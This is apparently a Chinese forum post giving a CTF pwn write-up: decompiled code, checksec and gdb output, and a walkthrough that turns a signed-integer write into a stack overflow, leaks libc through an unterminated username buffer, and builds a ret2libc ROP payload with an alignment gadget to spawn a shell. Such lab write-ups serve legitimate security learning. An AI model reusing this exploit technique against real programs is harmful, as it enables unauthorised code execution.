能力值:
( LV2,RANK:10 )
|
-
-
2 楼
解答
没人来做,只能我自己来花时间看,结合着AI来读程序
checksec
1 2 3 4 5 6 7 | u20@ubuntu:~ /Desktop/sb $ checksec pwn
[*] '/home/u20/Desktop/sb/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
|
分析代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | void __fastcall __noreturn main( __int64 a1, char **a2, char **a3)
{
__int64 v3;
__int64 v4;
__int64 v5;
__int64 v6;
__int64 v7;
__int64 v8;
int v9;
char buf[32];
in1t();
v3 = std::operator<<<std::char_traits< char >>(&std::cout, "username: " );
std::ostream::operator<<(v3, &std::endl< char ,std::char_traits< char >>);
read(0, buf, 0x20uLL);
std::operator<<<std::char_traits< char >>(&std::cout, buf);
while ( 1 )
{
while ( 1 )
{
v9 = 0;
v4 = std::operator<<<std::char_traits< char >>(&std::cout, "==========" );
std::ostream::operator<<(v4, &std::endl< char ,std::char_traits< char >>);
v5 = std::operator<<<std::char_traits< char >>(&std::cout, "1.puts" );
std::ostream::operator<<(v5, &std::endl< char ,std::char_traits< char >>);
v6 = std::operator<<<std::char_traits< char >>(&std::cout, "2.gets" );
std::ostream::operator<<(v6, &std::endl< char ,std::char_traits< char >>);
v7 = std::operator<<<std::char_traits< char >>(&std::cout, "==========" );
std::ostream::operator<<(v7, &std::endl< char ,std::char_traits< char >>);
v8 = std::operator<<<std::char_traits< char >>(&std::cout, "choice: " );
std::ostream::operator<<(v8, &std::endl< char ,std::char_traits< char >>);
std::istream::operator>>(&std::cin, &v9);
if ( v9 != 1 )
break ;
puts ();
}
if ( v9 != 2 )
exit (0);
gets ();
}
}
|
这就是一个简单的菜单而且只有两个选项,puts和gets,依次来分析。
puts函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | void puts ()
{
__int64 v0;
__int64 v1;
__int64 heap;
char v3[44];
unsigned int num;
char content[40];
__int64 v6;
num = 0;
std::string::basic_string(v3);
v0 = std::operator<<<std::char_traits< char >>(&std::cout, "box num: " );
std::ostream::operator<<(v0, &std::endl< char ,std::char_traits< char >>);
std::istream::operator>>(&std::cin, &num);
v1 = std::operator<<<std::char_traits< char >>(&std::cout, "message: " );
std::ostream::operator<<(v1, &std::endl< char ,std::char_traits< char >>);
std::operator>>< char >(&std::cin, v3);
std::string::basic_string(content, v3);
heap = operator new (0x28uLL);
str_cpy(heap, num, content);
v6 = heap;
std::string::~string(content);
link(v6);
std::string::~string(v3);
}
|
puts函数将创建一个大小为0x30的堆,用来存储box num 与message ,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 | username:
aaaa
aaaa
==========
1.puts
2.gets
==========
choice:
1
box num:
1
message:
bbbb
|
gdb调试如下:
1 2 3 4 5 6 | 0x55555556ced0 :
0x0000000000000000 0x0000000000000031
0x55555556cee0 :
0x0000000000000001 (num) 0x000055555556cef8 (msg addr)
0x55555556cef0 :
0x0000000000000004 (msg size) 0x0000000062626262 (msg)
|
这是在堆里的输出,在puts函数中会发现一个叫link的函数(自己取的名)
1 2 3 4 5 | __int64 __fastcall sub_18B2(_DWORD *addr)
{
heap_array += *addr;
return std::string::operator=(&unk_42E0, addr + 2);
}
|
heap_array(0x4300)+=*addr ,addr 就是heap content 的地址,根据上面的可以看出是box num ,从调试中看
1 2 3 4 5 6 | pwndbg> x / 20gx 0x5555555582e0
0x5555555582e0 :
0x00005555555582f0 (msg addr) 0x0000000000000004 (msg size)
0x5555555582f0 :
0x0000000062626262 (msg) 0x0000000000000000
0x555555558300 : 0x0000000000000001 (是刚才的box num = 1 )
|
gets函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | void gets ()
{
__int64 v0;
__int64 v1;
_DWORD *heap;
char content[44];
int num;
char v5[40];
_DWORD *v6;
num = 0;
std::string::basic_string(content);
v0 = std::operator<<<std::char_traits< char >>(&std::cout, "box num: " );
std::ostream::operator<<(v0, &std::endl< char ,std::char_traits< char >>);
std::istream::operator>>(&std::cin, &num);
v1 = std::operator<<<std::char_traits< char >>(&std::cout, "message: " );
std::ostream::operator<<(v1, &std::endl< char ,std::char_traits< char >>);
std::operator>>< char >(&std::cin, content);
std::string::basic_string(v5, content);
heap = (_DWORD *)operator new (0x28uLL);
str_cpy(heap, num, ( __int64 )v5);
v6 = heap;
std::string::~string(v5);
overflow(v6);
std::string::~string(content);
}
|
这个函数也是会创建一个大小为0x30的堆,布局与puts同,关注在overflow 函数上
1 2 3 4 5 6 7 8 9 10 11 12 13 | __int64 overflow()
{
__int64 result;
char buf[80];
result = (unsigned int )heap_array;
if ( heap_array == -1 )
{
read(0, buf, 0x100uLL);
return std::operator<<< char >(&std::cout, &unk_42E0);
}
return result;
}
|
一眼看出有栈溢出,再看存在条件,也就是heap_array=-1(0xffffffff) ,这个好办,前面提到的puts函数会修改heap_array 的值,而且在输入num 时,该变量为有符号整型,所以直接输入-1,即可得到heap_array=-1(0xffffffff) 。如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | username:
aaaa
aaaa
= = = = = = = = = =
1.puts
2.gets
= = = = = = = = = =
choice:
1
box num:
- 1
message:
aaaa
pwndbg> x / 20gx 0x5555555582e0
0x5555555582e0 : 0x00005555555582f0 0x0000000000000004
0x5555555582f0 : 0x0000000061616161 0x0000000000000000
0x555555558300 : 0x00000000ffffffff (successfully modified)
|
然后就想着怎么利用栈溢出攻击,前面提到,该程序只有canary保护没开启,其它全部开启。所以只能尝试利用ret2libc,问题是如何泄露并得到libc地址。在最开始的username 输入时,就给出了,其中buf 的地址位于rbp-0x20 调试
1 2 3 4 5 6 7 8 | pwndbg> stack 20
00 : 0000 │ rsp 0x7fffffffdf30 —▸ 0x7ffff7d7ce98 (std::wclog + 216 ) —▸ 0x7ffff7d7ece0 ◂— 2
01 : 0008 │ - 028 0x7fffffffdf38 —▸ 0x7ffff7d7d120 (std::wcin) —▸ 0x7ffff7d76990 (vtable for std::basic_istream<wchar_t, std::char_traits<wchar_t> > + 24 ) —▸ 0x7ffff7cb52d0 (std::basic_istream<wchar_t, std::char_traits<wchar_t> >::~basic_istream()) ◂— endbr64
02 : 0010 │ rsi 0x7fffffffdf40 —▸ 0x7ffff7d7ef0a ◂— 0x3e8000000000000
03 : 0018 │ - 018 0x7fffffffdf48 —▸ 0x7ffff7ce860f (std::num_get<wchar_t, std::istreambuf_iterator<wchar_t, std::char_traits<wchar_t> > > const& std::use_facet<std::num_get<wchar_t, std::istreambuf_iterator<wchar_t, std::char_traits<wchar_t> > > >(std::locale const&) + 63 ) ◂— test rax, rax
04 : 0020 │ - 010 0x7fffffffdf50 —▸ 0x7ffff7d7cdc8 (std::wclog + 8 ) —▸ 0x7ffff7d77458 (vtable for std::basic_ostream<wchar_t, std::char_traits<wchar_t> > + 64 ) —▸ 0x7ffff7cd0550 (virtual thunk to std::basic_ostream<wchar_t, std::char_traits<wchar_t> >::~basic_ostream()) ◂— endbr64
05 : 0028 │ - 008 0x7fffffffdf58 —▸ 0x7ffff7cb393a (std::basic_ios<wchar_t, std::char_traits<wchar_t> >::_M_cache_locale(std::locale const&) + 90 ) ◂— mov qword ptr [rbx + 0x100 ], rax
06 : 0030 │ rbp 0x7fffffffdf60 ◂— 1
|
在rbp-0x20 的地方就是rsi 的内容,其中最低一字节被修改为'\x0a',因为输入进去了一个回车,然后计算这个与libc base 的偏移,即可得到libc base ,这样就得到了system 与/bin/sh 和pop rdi;ret 的地址。 在overflow 中构造payload
1 | payload = 'a' * 0x50 + 'a' * 8 + p64(pop_rdi) + p64(str_bin_sh) + p64(system)
|
但是在这个动态调试过程中会发现报错
1 | 0x7fbc229d1973 movaps xmmword ptr [rsp], xmm1 <[ 0x7ffec0b57498 ] not aligned to 16 bytes>
|
说明rsp没有对齐,这个只需要在进入system函数之前再pop 一次即可,所以在原payload 基础上添加一个ret 指令,构造栈平衡
1 | payload = 'a' * 0x50 + 'a' * 8 + + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system)
|
这样就能成功拿到shell
|